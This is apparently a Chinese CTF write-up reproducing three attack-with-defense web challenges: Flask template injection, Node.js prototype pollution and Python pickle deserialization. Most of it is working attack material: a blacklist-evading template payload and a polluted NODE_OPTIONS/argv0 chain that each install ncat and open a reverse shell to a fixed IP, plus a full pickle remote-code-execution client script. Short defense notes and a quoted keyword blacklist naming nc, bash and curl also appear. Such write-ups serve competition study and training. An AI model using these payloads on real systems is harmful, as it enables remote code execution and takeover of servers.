0%

研究生赛awdp web题复现

Constellation_query

输入month day查询星座 一个flask ssti

Flask提供两个模版渲染函数 render_template() 和render_template_string()
在render_template_string()函数中,作为模板的字符串参数中的传入参数是通过%s的形式获取,从而导致可以通过构造恶意的模板语句来注入到模板中、模板解析执行了模板语句从而实现SSTI
{ { } }内能够解析表达式和代码,但直接插入import os;os.system(‘whoami’) 是无法执行,Jinjia 引擎限制了使用import,这时可以利用python的魔法方法和一些内置属性

ATTACK

1
2
3
4
5
6
7
8
9
10
11
12
@app.route("/", methods=["GET", "POST"])
def index():
if request.method == "POST":
dayargs = blacklist(day)#blacklists = ["{\{","print","cat","flag","nc","bash","sh","curl"]
if dayargs == True:
return "检测到危险关键词,已被WAF拦截!"
try:
return render_template_string(html % (int(month),day,constellation))
except ValueError:
month = 0
day = 0
return render_template_string(html % (month, day, constellation))

post传入的day month 在try:后执行即可
需要绕过黑名单,两个{可以用{%%}绕过

{% if ... %}1{% endif %}

payload : request.application.globals.builtins.import(‘os’).popen(“{payload}”).read()

client:

1
2
3
4
POST http://localhost:5000/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

month=1&day={% if request["applic"+"ation"].__globals__.__builtins__.__import__('os').system("apt install -y n"+"c"+"at;"+"n"+"c"+"at -e /bin/bas"+"h 172.25.0.1 4321") %}1{% endif %}

本地测试时候 本地是nc openbsd 没有-e参数,之后反弹shell时候可以先更新安装nc再弹

DEFENSE

一般是两个方面,用户输入:黑名单白名单限制,服务器这边静态加载文件

render_template 是 Flask 中常用的渲染模板的方法,它会自动找到指定的模板文件并渲染其中的内容。相比于 render_template_string,render_template 更安全,因为它会从模板文件中加载内容,而不是直接在代码中指定模板字符串。

5-imgupl0ad

原型链污染

ATTACK

看代码先

1
2
3
4
5
6
7
8
app.post("/upload", (req, res) => {
try{
let oldPath = req.files[0].path;//["file:///app/public/flag"]
let newPath = oldPath + ".jpg";
let data = {type: "image", path: newPath};
fs.renameSync(oldPath, newPath);
merge(data, req.body);
db.push(data);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
//merge.js
const merge = (target, source) => {
for (let key in source) {
if (key == "__proto__") {
throw new Error('Param invalid')
}
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
module.exports = merge;

merge()函数显然原型链污染
传递两个参数 文件路径之类的data 和请求里面的东西
需要将req的内容污染到data里面,再调用data触发反弹shell
files[0]导致必须传入文件 但是传文件时候传入json格式的代码不解析,用数组传递才能解析

过滤了__proto__,用prototype

execsync ->child_process 用的这个
递归后污染到object

payload

1
2
3
4
5
6
7
8
9
{
"constructor": {
"prototype": {
"NODE_OPTIONS": "--require /proc/self/cmdline",
"argv0": "console.log(require('child_process').execSync('apt install -y ncat;ncat -e /bin/bash 172.20.0.1 4321').toString())//",
"shell": "/proc/self/exe"
}
}
}

如果直接发送json形式的数据,根本无法传递参数内容进去(看别急!)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

------WebKitFormBoundaryXxAlaxNAfmW57DVn
Content-Disposition: form-data; name="image"; filename="2.jpg"
Content-Type: image/jpeg

11111
------WebKitFormBoundaryXxAlaxNAfmW57DVn
Content-Disposition: form-data; name="constructor[prototype][NODE_OPTIONS]"

--require /proc/self/cmdline
------WebKitFormBoundaryXxAlaxNAfmW57DVn
Content-Disposition: form-data; name="constructor[prototype][argv0]"

console.log(require('child_process').execSync('apt update;apt install -y ncat;ncat -e /bin/bash 172.20.0.1 4321').toString())//
------WebKitFormBoundaryXxAlaxNAfmW57DVn
Content-Disposition: form-data; name="constructor[prototype][shell]"

/proc/self/exe
------WebKitFormBoundaryXxAlaxNAfmW57DVn--

constructor 每个元素都有,可以通过constructor.prototype 在merge里面递归污染到object中

注意后面console.log(require(‘child_process’).execSync(‘apt update;apt install -y ncat;ncat -e /bin/bash 172.20.0.1 4321’).toString())//有两个/ 没有就会报错

在__proto__中,在一切皆对象的JavaScript中,所有对象都可以调用toString和valueOf方法,当你通过__proto__重写这2个方法的时可以污染

急!

http不能同时传json和file
发送file+json数据包,只是传入了file
发送后只解析一层,丢失了里面的赋值
不理解

一些参考

DEFENCE

直接过滤proto和prototype吧

Object.create(null)没有原型链,就不会被污染,但是awd里面容易修崩,还是直接过滤吧

read_article

python flask pickle 反序列化(这还自己给自己加了后门?),还有访问其他文件

python pickle unserialize

freebuf_pickle反序列化

ATTACK

这里他自己有一个后门?

@app.route(“/shell01”)
def attack():
data = request.args.get(‘data’)
decoded_data = base64.b64decode(data.encode(‘utf-8’))
p = pickle.loads(decoded_data)
return render_template(‘form.html’, res=p)

pickle反序列化 比php容易,那需要服务器本身有不安全代码,这直接通过__reduce__干进去,危险

优雅的payload 抄了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
import pickle, pickletools
from base64 import b64encode
import requests

class payload:
def __init__(self, rce:str): self.rce = rce
def __reduce__(self): return (eval,("__import__('os').popen('%s').read()" % self.rce,))

attack = lambda x,y: requests.request("GET", x, params={"data":b64encode(pickletools.optimize(pickle.dumps(payload(y)))).decode()}).text

if __name__ == "__main__":
while 1: print(attack("http://localhost:5000/shell01", input()))
}

DEFENCE

设置权限访问,
或者代码改改限制范围
检查是不是在应该的目录里面

if not os.path.abspath(file_path).startswith(os.path.abspath(articles_directory)):abort(403)